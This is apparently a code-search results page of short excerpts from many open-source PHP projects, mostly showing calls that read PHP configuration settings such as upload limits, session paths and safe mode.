34if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');@dl($__ln);if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);
                    
35?>
                    
                
item_import.tpl https://bitbucket.org/worawitinter/tazefood.git | Smarty Template | 95 lines
                    
4        <?php foreach ($breadcrumbs as $breadcrumb) { ?>
                    
5            <?php echo $breadcrumb['separator']; ?><a href="<?php echo $breadcrumb['href']; ?>"><?php echo $breadcrumb['text']; ?></a>
                    
6        <?php } ?>
                    
20                    <div class="warning">
                    
21                        <?php echo $imgImport; ?> <?php echo $lang_import_images_msg1; ?> <a href="<?php echo $imgImportLink; ?>" target="_blank"><?php echo $lang_import_images_msg2; ?></a> <?php echo $lang_import_images_msg3; ?>
                    
22                    </div>
                    
33                <div class="attention"><?php echo $lang_sync_server_size; ?><strong><?php echo ini_get('post_max_size'); ?></strong></div>
                    
34                <div class="attention"><?php echo $lang_sync_memory_size; ?><strong><?php echo ini_get('memory_limit'); ?></strong></div>
                    
35
                    
46                        <td width="230" height="50" valign="middle"><label for=""><?php echo $lang_import_ebay_items; ?></td>
                    
47                        <td><a onclick="importItems();" class="button" id="importItems"><span><?php echo $lang_import; ?></span></a><img src="<?php echo HTTPS_SERVER; ?>view/image/loading.gif" id="imageLoadingImportItems" class="displayNone" /></td>
                    
48                    </tr>
                    
67            $.ajax({
                    
68                url: 'index.php?route=openbay/openbay/importItems&token=<?php echo $token; ?>&desc='+descImport+'&note='+noteImport,
                    
69                beforeSend: function(){
                    
                
Session_files_driver.php git://github.com/EllisLab/CodeIgniter.git | PHP | 432 lines
                    
1<?php
                    
2/**
                    
4 *
                    
5 * An open source application development framework for PHP
                    
6 *
                    
111		{
                    
112			log_message('debug', 'Session: "sess_save_path" is empty; using "session.save_path" value from php.ini.');
                    
113			$this->_config['save_path'] = rtrim(ini_get('session.save_path'), '/\\');
                    
117
                    
118		isset(self::$func_overload) OR self::$func_overload = (extension_loaded('mbstring') && ini_get('mbstring.func_overload'));
                    
119	}
                    
143		{
                    
144			log_message('error', "Session: Configured save path '".$this->_config['save_path']."' is not writable by the PHP process.");
                    
145			return $this->_failure;
                    
152
                    
153		$this->php5_validate_id();
                    
154
                    
                
errors.php https://bitbucket.org/chamilo/chamilo/ | PHP | 288 lines
                    
1<?php
                    
2/**
                    
5 *  @subpackage UnitTester
                    
6 *  @version    $Id: errors.php 1672 2008-03-02 04:47:34Z edwardzyang $
                    
7 */
                    
9/**
                    
10 * @ignore - PHP5 compatibility fix.
                    
11 */
                    
18 */
                    
19require_once dirname(__FILE__) . '/invoker.php';
                    
20require_once dirname(__FILE__) . '/test_case.php';
                    
20require_once dirname(__FILE__) . '/test_case.php';
                    
21require_once dirname(__FILE__) . '/expectation.php';
                    
22/**#@-*/
                    
120     *    Adds an error to the front of the queue.
                    
121     *    @param integer $severity       PHP error code.
                    
122     *    @param string $content         Text of error.
                    
                
MimeType.php https://gitlab.com/yousafsyed/easternglamor | PHP | 476 lines
                    
1<?php
                    
2/**
                    
24 */
                    
25#require_once 'Zend/Validate/Abstract.php';
                    
26
                    
158     *
                    
159     * Note that for PHP 5.3.0 or higher, we don't use $_ENV['MAGIC'] or try to
                    
160     * find a magic file in a common location as PHP now has a built-in internal
                    
166    {
                    
167        if (version_compare(PHP_VERSION, '5.3.0', '<')
                    
168            && null === $this->_magicfile) {
                    
171            } elseif (
                    
172                !(@ini_get("safe_mode") == 'On' || @ini_get("safe_mode") === 1)
                    
173                && $this->shouldTryCommonMagicFiles() // @see ZF-11784
                    
198     * Sets the magicfile to use
                    
199     * if null, the MAGIC constant from php is used
                    
200     * if the MAGIC file is errorous, no file will be set
                    
                
ini.php http://creative-portal.googlecode.com/svn/trunk/ | PHP | 150 lines
                    
1<?php
                    
2
                    
33    ini_set( 'sendmail_from', $global_config['site_email'] );
                    
34    $memoryLimitMB = ( integer )ini_get( 'memory_limit' );
                    
35    if ( $memoryLimitMB < 64 )
                    
42
                    
43$sys_info['safe_mode'] = ( ini_get( 'safe_mode' ) == '1' || strtolower( ini_get( 'safe_mode' ) ) == 'on' ) ? 1 : 0;
                    
44$sys_info['php_support'] = ( function_exists( 'version_compare' ) and version_compare( phpversion(), '5.0.0', '>=' ) ) ? 1 : 0;
                    
47$sys_info['gd_support'] = ( extension_loaded( 'gd' ) ) ? 1 : 0;
                    
48$sys_info['fileuploads_support'] = ( ini_get( 'file_uploads' ) ) ? 1 : 0;
                    
49$sys_info['zlib_support'] = ( extension_loaded( 'zlib' ) ) ? 1 : 0;
                    
54$sys_info['allowed_set_time_limit'] = ( ! $sys_info['safe_mode'] and function_exists( "set_time_limit" ) and ! in_array( 'set_time_limit', $sys_info['disable_functions'] ) ) ? 1 : 0;
                    
55$sys_info['os'] = strtoupper( ( function_exists( 'php_uname' ) and ! in_array( 'php_uname', $sys_info['disable_functions'] ) and strtoupper( php_uname( 's' ) ) != '' ) ? php_uname( 's' ) : PHP_OS );
                    
56if ( $sys_info['os'] == "LINUX" )
                    
67{
                    
68    trigger_error( "You are running an unsupported PHP version. Please upgrade to PHP 5.0 or higher before trying to install Nukeviet Portal", 256 );
                    
69}
                    
                
uploadconfig.php http://creative-portal.googlecode.com/svn/trunk/ | PHP | 135 lines
                    
1<?php
                    
2/**
                    
14    $ext = $nv_Request->get_array( 'ext', 'post' );
                    
15    $ext[]= "php";
                    
16    $ext[]= "php3";
                    
16    $ext[]= "php3";
                    
17    $ext[]= "php4";
                    
18    $ext[]= "php5";
                    
26    $nv_max_size = $nv_Request->get_int( 'nv_max_size', 'post', $global_config['nv_max_size'] );
                    
27    $nv_max_size = min( nv_converttoBytes( ini_get( 'upload_max_filesize' ) ), nv_converttoBytes( ini_get( 'post_max_size' ) ), $nv_max_size );
                    
28    
                    
33    nv_save_file_config_global();
                    
34    Header( 'Location: ' . NV_BASE_ADMINURL . 'index.php?' . NV_NAME_VARIABLE . '=' . $module_name . '&' . NV_OP_VARIABLE . '=' . $op . '&rand=' . nv_genpass() );
                    
35    die();
                    
104$contents .= "<select name=\"nv_max_size\">\n";
                    
105$sys_max_size = min( nv_converttoBytes( ini_get( 'upload_max_filesize' ) ), nv_converttoBytes( ini_get( 'post_max_size' ) ) );
                    
106$p_size = $sys_max_size / 100;
                    
                
08conditionalformatting.php https://PHPExcel.svn.codeplex.com/svn | PHP | 136 lines
                    
22 * @package    PHPExcel
                    
23 * @copyright  Copyright (c) 2006 - 2007 PHPExcel (http://www.codeplex.com/PHPExcel)
                    
24 * @license    http://www.gnu.org/licenses/gpl.txt	GPL
                    
33/** PHPExcel */
                    
34include 'PHPExcel.php';
                    
35
                    
36/** PHPExcel_Writer_Excel2007 */
                    
37include 'PHPExcel/Writer/Excel2007.php';
                    
38
                    
40echo date('H:i:s') . " Create new PHPExcel object\n";
                    
41$objPHPExcel = new PHPExcel();
                    
42
                    
48$objPHPExcel->getProperties()->setSubject("Office 2007 XLSX Test Document");
                    
49$objPHPExcel->getProperties()->setDescription("Test document for Office 2007 XLSX, generated using PHP classes.");
                    
50
                    
                
SessionFactory.php git://github.com/concrete5/concrete5.git | PHP | 378 lines
                    
1<?php
                    
2namespace Concrete\Core\Session;
                    
181        $options = array_get($config, 'cookie', []) + [
                    
182            'gc_maxlifetime' => (int) array_get($config, 'max_lifetime') ?: (int) ini_get('session.gc_maxlifetime') ?: 7200,
                    
183            'gc_probability' => (int) array_get($config, 'gc_probability') ?: (int) ini_get('session.gc_probability') ?: 1,
                    
183            'gc_probability' => (int) array_get($config, 'gc_probability') ?: (int) ini_get('session.gc_probability') ?: 1,
                    
184            'gc_divisor' => (int) array_get($config, 'gc_divisor') ?: (int) ini_get('session.gc_divisor') ?: 100,
                    
185        ];
                    
                
MongoDBTest.php git://github.com/zendframework/zf2.git | PHP | 157 lines
                    
1<?php
                    
2/**
                    
18 */
                    
19class MongoDBTest extends \PHPUnit_Framework_TestCase
                    
20{
                    
53
                    
54        $mongoClass = (version_compare(phpversion('mongo'), '1.3.0', '<')) ? '\Mongo' : '\MongoClient';
                    
55
                    
94         */
                    
95        $oldMaxlifetime = ini_get('session.gc_maxlifetime');
                    
96        ini_set('session.gc_maxlifetime', 0);
                    
                
debugger.test.php https://github.com/phpbug/Informaster.git | PHP | 280 lines
                    
1<?php
                    
2/* SVN FILE: $Id$ */
                    
7 *
                    
8 * PHP versions 4 and 5
                    
9 *
                    
9 *
                    
10 * CakePHP(tm) Tests <https://trac.cakephp.org/wiki/Developement/TestSuite>
                    
11 * Copyright 2005-2010, Cake Software Foundation, Inc. (http://www.cakefoundation.org)
                    
17 * @copyright     Copyright 2005-2010, Cake Software Foundation, Inc. (http://www.cakefoundation.org)
                    
18 * @link          https://trac.cakephp.org/wiki/Developement/TestSuite CakePHP(tm) Tests
                    
19 * @package       cake
                    
20 * @subpackage    cake.tests.cases.libs
                    
21 * @since         CakePHP(tm) v 1.2.0.5432
                    
22 * @version       $Revision$
                    
81		$debugger = new Debugger();
                    
82		$this->assertEqual(ini_get('docref_root'), 'http://php.net/');
                    
83	}
                    
                
mssql_odbc.php git://github.com/phpbb/phpbb3.git | PHP | 425 lines
                    
1<?php
                    
2/**
                    
4* @package dbal
                    
5* @copyright (c) 2005 phpBB Group
                    
6* @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License v2
                    
12*/
                    
13if (!defined('IN_PHPBB'))
                    
14{
                    
17
                    
18include_once($phpbb_root_path . 'includes/db/dbal.' . $phpEx);
                    
19
                    
24*
                    
25* @note number of bytes returned for returning data depends on odbc.defaultlrl php.ini setting.
                    
26* If it is limited to 4K for example only 4K of data is returned max, resulting in incomplete theme data for example.
                    
43
                    
44		$port_delimiter = (defined('PHP_OS') && substr(PHP_OS, 0, 3) === 'WIN') ? ',' : ':';
                    
45		$this->server = $sqlserver . (($port) ? $port_delimiter . $port : '');
                    
                
UploadedFile.php https://gitlab.com/btkm/correct_fb | PHP | 293 lines
                    
1<?php
                    
2
                    
64    /**
                    
65     * Accepts the information of the uploaded file as provided by the PHP global $_FILES.
                    
66     *
                    
79     * @param string $originalName The original file name
                    
80     * @param string $mimeType     The type of the file as provided by PHP
                    
81     * @param int    $size         The file size
                    
81     * @param int    $size         The file size
                    
82     * @param int    $error        The error constant of the upload (one of PHP's UPLOAD_ERR_XXX constants)
                    
83     * @param bool   $test         Whether the test mode is active
                    
238    /**
                    
239     * Returns the maximum size of an uploaded file as configured in php.ini.
                    
240     *
                    
244    {
                    
245        $iniMax = strtolower(ini_get('upload_max_filesize'));
                    
246
                    
                
download.php git://github.com/MightyGorgon/icy_phoenix.git | PHP | 363 lines
                    
1<?php
                    
2/**
                    
6* @copyright (c) 2008 Icy Phoenix
                    
7* @license http://opensource.org/licenses/gpl-license.php GNU Public License
                    
8*
                    
20if (!defined('IP_ROOT_PATH')) define('IP_ROOT_PATH', './');
                    
21if (!defined('PHP_EXT')) define('PHP_EXT', substr(strrchr(__FILE__, '.'), 1));
                    
22include(IP_ROOT_PATH . 'common.' . PHP_EXT);
                    
48	'opentools.de',
                    
49	'phpbb.com',
                    
50	'phpbbhacks.com',
                    
50	'phpbbhacks.com',
                    
51	'phpbb.de'
                    
52);
                    
153
                    
154		$ini_val = (@phpversion() >= '4.0.0') ? 'ini_get' : 'get_cfg_var';
                    
155
                    
                
DumpDataCollector.php https://gitlab.com/ntphuc/FoodyBackend | PHP | 295 lines
                    
1<?php
                    
2
                    
44        $this->fileLinkFormat = $fileLinkFormat ?: ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format');
                    
45        $this->charset = $charset ?: ini_get('php.output_encoding') ?: ini_get('default_charset') ?: 'UTF-8';
                    
46        $this->requestStack = $requestStack;
                    
150            if ($response->headers->has('Content-Type') && false !== strpos($response->headers->get('Content-Type'), 'html')) {
                    
151                $this->dumper = new HtmlDumper('php://output', $this->charset);
                    
152            } else {
                    
152            } else {
                    
153                $this->dumper = new CliDumper('php://output', $this->charset);
                    
154            }
                    
192    {
                    
193        $data = fopen('php://memory', 'r+b');
                    
194
                    
227            $i = count($h);
                    
228            array_unshift($h, 'Content-Type: '.ini_get('default_mimetype'));
                    
229            while (0 !== stripos($h[$i], 'Content-Type:')) {
                    
                
pearcmd.php https://github.com/SpeediNET/agilebill.git | PHP | 423 lines
                    
63require_once 'PEAR.php';
                    
64require_once 'PEAR/Frontend.php';
                    
65require_once 'PEAR/Config.php';
                    
65require_once 'PEAR/Config.php';
                    
66require_once 'PEAR/Command.php';
                    
67require_once 'Console/Getopt.php';
                    
135// this is used in the error handler to retrieve a relative path
                    
136$_PEAR_PHPDIR = $config->get('php_dir');
                    
137$ui->setConfig($config);
                    
169                );
                    
170                $config->set('php_dir', $pearbase . DIRECTORY_SEPARATOR . 'php');
                    
171                $config->set('data_dir', $pearbase . DIRECTORY_SEPARATOR . 'data');
                    
360        return "PEAR Version: ".$GLOBALS['pear_package_version'].
                    
361               "\nPHP Version: ".phpversion().
                    
362               "\nZend Engine Version: ".zend_version().
                    
                
Filesystem.php https://gitlab.com/devtoannh/cafe | PHP | 363 lines
                    
1<?php
                    
2/**
                    
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
20 * @version    $Id: Filesystem.php 23964 2011-05-03 14:20:58Z adamlundrigan $
                    
21 */
                    
24/** Zend_Search_Lucene_Storage_Directory */
                    
25require_once 'Zend/Search/Lucene/Storage/Directory.php';
                    
26
                    
118            if (file_exists($path)) {
                    
119                require_once 'Zend/Search/Lucene/Exception.php';
                    
120                throw new Zend_Search_Lucene_Exception('Path exists, but it\'s not a directory');
                    
122                if (!self::mkdirs($path)) {
                    
123                    require_once 'Zend/Search/Lucene/Exception.php';
                    
124                    throw new Zend_Search_Lucene_Exception("Can't create directory '$path'.");
                    
182        unset($this->_fileHandlers[$filename]);
                    
183        require_once 'Zend/Search/Lucene/Storage/File/Filesystem.php';
                    
184        $this->_fileHandlers[$filename] = new Zend_Search_Lucene_Storage_File_Filesystem($this->_dirPath . '/' . $filename, 'w+b');
                    
                
Session.php git://github.com/joshtronic/pickles.git | PHP | 358 lines
                    
1<?php
                    
2
                    
5 *
                    
6 * PHP version 5
                    
7 *
                    
21 * Provides session handling via database instead of the file based session
                    
22 * handling built into PHP. Using this class requires an array to be defined
                    
23 * in place of the boolean true/false (on/off). If simply array(), the
                    
87	 * Name of the datasource, defaults to whatever the default datasource
                    
88	 * is defined to in config.php
                    
89	 *
                    
120	 * All of our set up logic for the session in contained here. This object
                    
121	 * is initially instantiated from pickles.php and the session callbacks are
                    
122	 * established here. All variables are driven from php.ini and/or the site
                    
202						$this->accessed_at  = time();
                    
203						$this->time_to_live = ini_get('session.gc_maxlifetime');
                    
204
                    
                
uploader.php https://gitlab.com/BGCX262/zys-blog-svn-to-git.git | PHP | 427 lines
                    
1<?php
                    
2// $Id: uploader.php 11 2012-02-08 06:05:02Z zys4416@gmail.com $
                    
6 *
                    
7 * @link http://qeephp.com/
                    
8 * @copyright Copyright (c) 2006-2009 Qeeyuan Inc. {@link http://www.qeeyuan.com}
                    
8 * @copyright Copyright (c) 2006-2009 Qeeyuan Inc. {@link http://www.qeeyuan.com}
                    
9 * @license New BSD License {@link http://qeephp.com/license/}
                    
10 * @version $Id: uploader.php 11 2012-02-08 06:05:02Z zys4416@gmail.com $
                    
17 * @author YuLei Liao <liaoyulei@qeeyuan.com>
                    
18 * @version $Id: uploader.php 11 2012-02-08 06:05:02Z zys4416@gmail.com $
                    
19 * @package helper
                    
78    {
                    
79        $val = trim(ini_get('upload_max_filesize'));
                    
80        $last = strtolower($val{strlen($val) - 1});
                    
156 * @author YuLei Liao <liaoyulei@qeeyuan.com>
                    
157 * @version $Id: uploader.php 11 2012-02-08 06:05:02Z zys4416@gmail.com $
                    
158 * @package helper
                    
                
helper.php https://gitlab.com/chuda/Web_CCPEL.git | PHP | 303 lines
                    
1<?php
                    
2/**
                    
39
                    
40		// Capture PHP errors
                    
41		$php_errormsg = 'Error Unknown';
                    
41		$php_errormsg = 'Error Unknown';
                    
42		$track_errors = ini_get('track_errors');
                    
43		ini_set('track_errors', true);
                    
80			{
                    
81				$response->body = $php_errormsg;
                    
82			}
                    
110
                    
111		// bump the max execution time because not using built in php zip libs are slow
                    
112		@set_time_limit(ini_get('max_execution_time'));
                    
                
attachment.php https://github.com/delete66/sikevux-s-tracker.git | PHP | 93 lines
                    
1<?php
                    
2require_once("include/bittorrent.php");
                    
2require_once("include/bittorrent.php");
                    
3require_once("include/user_functions.php");
                    
4require_once("include/bbcode_functions.php");
                    
10// moddifed logginorreturn by retro//Remember to change the following line to match your server
                    
11print("<html><h1>Not Found</h1><p>The requested URL /{$_SERVER['PHP_SELF']} was not found on this server.</p><hr /><address>Apache/1.1.11 (xxxxx) Server at ".$_SERVER['SERVER_NAME']." Port 80</address></body></html>\n");
                    
12die();
                    
20
                    
21// ######################## SET PHP ENVIRONMENT ###########################
                    
22error_reporting(E_ALL & ~E_NOTICE);
                    
24@set_time_limit(0);
                    
25if (@ini_get('output_handler') == 'ob_gzhandler' AND @ob_get_length() !== false)
                    
26{	// if output_handler = ob_gzhandler, turn it off and remove the header sent by PHP
                    
                
functions.php git://github.com/evernote/evernote-sdk-php.git | PHP | 274 lines
                    
1<?php
                    
2
                    
5     *
                    
6     * This file contains functions used by Evernote's PHP OAuth samples.
                    
7     */
                    
9    // Include the Evernote API from the lib subdirectory.
                    
10    // lib simply contains the contents of /php/lib from the Evernote API SDK
                    
11    define("EVERNOTE_LIBS", dirname(__FILE__) . DIRECTORY_SEPARATOR . "lib");
                    
11    define("EVERNOTE_LIBS", dirname(__FILE__) . DIRECTORY_SEPARATOR . "lib");
                    
12    ini_set("include_path", ini_get("include_path") . PATH_SEPARATOR . EVERNOTE_LIBS);
                    
13
                    
13
                    
14    require_once 'Evernote/Client.php';
                    
15    require_once 'packages/Types/Types_types.php';
                    
23
                    
24    // Verify that you successfully installed the PHP OAuth Extension
                    
25    if (!class_exists('OAuth')) {
                    
                
ConfigDataCollector.php https://github.com/symfony/symfony.git | PHP | 275 lines
                    
1<?php
                    
2
                    
58            'php_version' => \PHP_VERSION,
                    
59            'php_architecture' => \PHP_INT_SIZE * 8,
                    
60            'php_intl_locale' => class_exists(\Locale::class, false) && \Locale::getDefault() ? \Locale::getDefault() : 'n/a',
                    
62            'xdebug_enabled' => \extension_loaded('xdebug'),
                    
63            'apcu_enabled' => \extension_loaded('apcu') && filter_var(ini_get('apc.enabled'), \FILTER_VALIDATE_BOOLEAN),
                    
64            'zend_opcache_enabled' => \extension_loaded('Zend OPcache') && filter_var(ini_get('opcache.enable'), \FILTER_VALIDATE_BOOLEAN),
                    
65            'bundles' => [],
                    
66            'sapi_name' => \PHP_SAPI,
                    
67        ];
                    
157     */
                    
158    public function getPhpVersion(): string
                    
159    {
                    
236    /**
                    
237     * Gets the PHP SAPI name.
                    
238     */
                    
                
CreateZipFile.inc.php https://github.com/silentworks/the-compressor.git | PHP | 220 lines
                    
1<?php
                    
2/**
                    
147	public function forceDownload($archiveName) {
                    
148		if(ini_get('zlib.output_compression')) {
                    
149			ini_set('zlib.output_compression', 'Off');
                    
                
jsmin.php https://gitlab.com/sheldonels/pyrocms | PHP | 362 lines
                    
1<?php
                    
2
                    
3/**
                    
4 * jsmin.php - PHP implementation of Douglas Crockford's JSMin.
                    
5 *
                    
5 *
                    
6 * This is a direct port of jsmin.c to PHP with a few PHP performance tweaks and
                    
7 * modifications to preserve some comments (see below). Also, rather than using
                    
14 *
                    
15 * PHP 5 or higher is required.
                    
16 *
                    
43 *
                    
44 * @author Ryan Grove <ryan@wonko.com> (PHP port)
                    
45 * @author Steve Clay <steve@mrclay.org> (modifications + cleanup)
                    
47 * @copyright 2002 Douglas Crockford <douglas@crockford.com> (jsmin.c)
                    
48 * @copyright 2008 Ryan Grove <ryan@wonko.com> (PHP port)
                    
49 * @license http://opensource.org/licenses/mit-license.php MIT License
                    
                
Abstract.php https://github.com/tine20/Tine-2.0-Open-Source-Groupware-and-CRM.git | PHP | 419 lines
                    
1<?php
                    
2/**
                    
191                if ($sessionDir) {
                    
192                    Tinebase_Core::getLogger()->warn(__METHOD__ . '::' . __LINE__ . " config.inc.php key '{$deprecatedSessionDir}' should be renamed to 'path' and moved to 'session' group.");
                    
193                }
                    
234        return ($config->session && $config->session->backend) ? ucfirst($config->session->backend) :
                    
235            ucfirst(ini_get('session.save_handler'));
                    
236    }
                    
242        $config = Tinebase_Core::getConfig();
                    
243        $defaultSessionSavePath = ini_get('session.save_path');
                    
244
                    
251                if ($config->gc_maxlifetime) {
                    
252                    Tinebase_Core::getLogger()->warn(__METHOD__ . '::' . __LINE__ . " config.inc.php key 'gc_maxlifetime' should be renamed to 'lifetime' and moved to 'session' group.");
                    
253                    $maxLifeTime = $config->get('gc_maxlifetime', 86400);
                    
271                    Tinebase_Core::getLogger()->warn(__METHOD__ . '::' . __LINE__
                    
272                        . " ini set didn´t work. session.save_handler = " . ini_get('session.save_handler'));
                    
273                }
                    
                
Curl.php https://gitlab.com/wuhang2003/core | PHP | 310 lines
                    
1<?php
                    
2
                    
42        if (!function_exists('curl_exec'))
                    
43            throw new Dropbox_Exception('The PHP curl functions not available!');
                    
44
                    
104		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
                    
105		if (!ini_get('safe_mode') && !ini_get('open_basedir'))
                    
106			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true );
                    
273     * Helper function to properly urlencode parameters.
                    
274     * See http://php.net/manual/en/function.oauth-urlencode.php
                    
275     *
                    
                
DumpDataCollector.php https://gitlab.com/mohamedchiheb.bida/workshopFOS | PHP | 298 lines
                    
1<?php
                    
2
                    
43        $this->fileLinkFormat = $fileLinkFormat ?: ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format');
                    
44        $this->charset = $charset ?: ini_get('php.output_encoding') ?: ini_get('default_charset') ?: 'UTF-8';
                    
45        $this->requestStack = $requestStack;
                    
71
                    
72        $trace = PHP_VERSION_ID >= 50306 ? DEBUG_BACKTRACE_PROVIDE_OBJECT | DEBUG_BACKTRACE_IGNORE_ARGS : true;
                    
73        if (PHP_VERSION_ID >= 50400) {
                    
154            if ($response->headers->has('Content-Type') && false !== strpos($response->headers->get('Content-Type'), 'html')) {
                    
155                $this->dumper = new HtmlDumper('php://output', $this->charset);
                    
156            } else {
                    
156            } else {
                    
157                $this->dumper = new CliDumper('php://output', $this->charset);
                    
158            }
                    
196    {
                    
197        $data = fopen('php://memory', 'r+b');
                    
198
                    
                
Loader.php https://gitlab.com/btkm/correct_fb | PHP | 371 lines
                    
1<?php
                    
2
                    
132        // Read file into an array of lines with auto-detected line endings
                    
133        $autodetect = ini_get('auto_detect_line_endings');
                    
134        ini_set('auto_detect_line_endings', '1');
                    
                
Encoder.php https://gitlab.com/JrLucena/moodle | PHP | 335 lines
                    
1<?php
                    
2/**
                    
37 * 
                    
38 * Note: If you don't need header mgmt, use PHP's native gzencode, gzdeflate, 
                    
39 * and gzcompress functions for gzip, deflate, and compress-encoding
                    
91        $this->_useMbStrlen = (function_exists('mb_strlen')
                    
92                               && (ini_get('mbstring.func_overload') !== '')
                    
93                               && ((int)ini_get('mbstring.func_overload') & 2));
                    
                
File.php https://gitlab.com/JrLucena/moodle | PHP | 186 lines
                    
5 *
                    
6 * Copyright (c) 2006 - 2015 PHPExcel
                    
7 *
                    
21 *
                    
22 * @category   PHPExcel
                    
23 * @package    PHPExcel_Shared
                    
23 * @package    PHPExcel_Shared
                    
24 * @copyright  Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel)
                    
25 * @license    http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt    LGPL
                    
27 */
                    
28class PHPExcel_Shared_File
                    
29{
                    
151        // sys_get_temp_dir is only available since PHP 5.2.1
                    
152        // http://php.net/manual/en/function.sys-get-temp-dir.php#94119
                    
153        if (!function_exists('sys_get_temp_dir')) {
                    
                
Appointment_Service.php git://github.com/TheFrozenFire/PHP-Mindbody-API-Library.git | PHP | 178 lines
                    
1<?php
                    
2class Appointment_Service extends SoapClient {
                    
71		}
                    
72		if (!ini_get('user_agent')) ini_set('user_agent', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19');
                    
73		$directory = dirname(__FILE__) . DIRECTORY_SEPARATOR;
                    
73		$directory = dirname(__FILE__) . DIRECTORY_SEPARATOR;
                    
74		foreach ($options['classmap'] as $key => $value) if (file_exists('{$directory}../structures/{$value}.php')) include_once ('{$directory}../structures/{$value}.php');
                    
75		parent::__construct($wsdl, $options);
                    
                
ExecutableFinder.php https://gitlab.com/yousafsyed/easternglamor | PHP | 90 lines
                    
1<?php
                    
2
                    
54    {
                    
55        if (ini_get('open_basedir')) {
                    
56            $searchPath = explode(PATH_SEPARATOR, ini_get('open_basedir'));
                    
58            foreach ($searchPath as $path) {
                    
59                // Silencing against https://bugs.php.net/69240
                    
60                if (@is_dir($path)) {
                    
                
write.metaflac.php https://gitlab.com/x33n/ampache | PHP | 162 lines
                    
1<?php
                    
2/////////////////////////////////////////////////////////////////
                    
10//                                                             //
                    
11// write.metaflac.php                                          //
                    
12// module for writing metaflac tags                            //
                    
31
                    
32		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
                    
33			$this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call metaflac, tags not written';
                    
105
                    
106		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
                    
107			$this->errors[] = 'PHP running in Safe Mode (backtick operator not available) - cannot call metaflac, tags not deleted';
                    
                
Common.php git://github.com/twilio/OpenVBX.git | PHP | 577 lines
                    
1<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
                    
2
                    
30{
                    
31	static $_is_php;
                    
32	$version = (string)$version;
                    
35	{
                    
36		$_is_php[$version] = (version_compare(PHP_VERSION, $version) < 0) ? FALSE : TRUE;
                    
37	}
                    
201 * Returns a new class object by reference, used by load_class() and the DB class.
                    
202 * Required to retain PHP 4 compatibility and also not make PHP 5.3 cry.
                    
203 *
                    
325/**
                    
326* Loads the main config.php file
                    
327*
                    
576/* End of file Common.php */
                    
577/* Location: ./system/codeigniter/Common.php */
                    
                
symfony.php http://pumukit.googlecode.com/svn/trunk/ | PHP | 177 lines
                    
1<?php
                    
2
                    
15
                    
16if (ini_get('zend.ze1_compatibility_mode'))
                    
17{
                    
17{
                    
18  die("symfony cannot run with zend.ze1_compatibility_mode enabled.\nPlease turn zend.ze1_compatibility_mode to Off in your php.ini.\n");
                    
19}
                    
24// check if we are using an old project
                    
25if (file_exists('config/config.php') && !isset($sf_symfony_lib_dir))
                    
26{
                    
34
                    
35require_once($sf_symfony_lib_dir.'/vendor/pake/pakeFunction.php');
                    
36require_once($sf_symfony_lib_dir.'/vendor/pake/pakeGetopt.class.php');
                    
48
                    
49    self::register($sf_symfony_lib_dir, '.class.php');
                    
50    self::register($sf_symfony_lib_dir.'/vendor/propel', '.php');
                    
                
APCHostMode.php https://github.com/brion/mediawiki-svn.git | PHP | 202 lines
                    
1<?php
                    
2
                    
9			APCUtils::tableRow( $r = 1 - $r, wfMsgHtml( 'viewapc-apc-version' ), phpversion( 'apc' ) ) .
                    
10			APCUtils::tableRow( $r = 1 - $r, wfMsgHtml( 'viewapc-php-version' ), phpversion() ) .
                    
11
                    
65		$r = 1;
                    
66		foreach ( ini_get_all( 'apc' ) as $k => $v ) {
                    
67			$s .= APCUtils::tableRow( $r = 1 - $r,
                    
                
RequestTransformerTest.php git://github.com/cakephp/cakephp.git | PHP | 314 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org)
                    
4 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
10 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
11 * @link          http://cakephp.org CakePHP(tm) Project
                    
12 * @since         3.3.0
                    
12 * @since         3.3.0
                    
13 * @license       http://www.opensource.org/licenses/mit-license.php MIT License
                    
14 */
                    
271            'DOCUMENT_ROOT' => '/cake/repo/branches',
                    
272            'PHP_SELF' => '/thisapp/webroot/index.php',
                    
273            'REQUEST_URI' => '/posts/view/1',
                    
277
                    
278        $this->assertEquals('/thisapp/', ini_get('session.cookie_path'));
                    
279    }
                    
                
compress_api.php git://pkgs.fedoraproject.org/mantis | PHP | 139 lines
                    
1<?php
                    
2# MantisBT - a php based bugtracking system
                    
19 *
                    
20 * This API handles the ob_gzhandler in php.
                    
21 *
                    
45
                    
46	// indicates compression should be disabled for a page. Note: php.ini may still enable zlib.output_compression.
                    
47	// it may be possible to turn this off through the use of ini_set within that specific page.
                    
51
                    
52	// Dont use config_get here so only dependency is on consant.inc.php in this module
                    
53	// We only actively compress html if global configuration compress_html is set.
                    
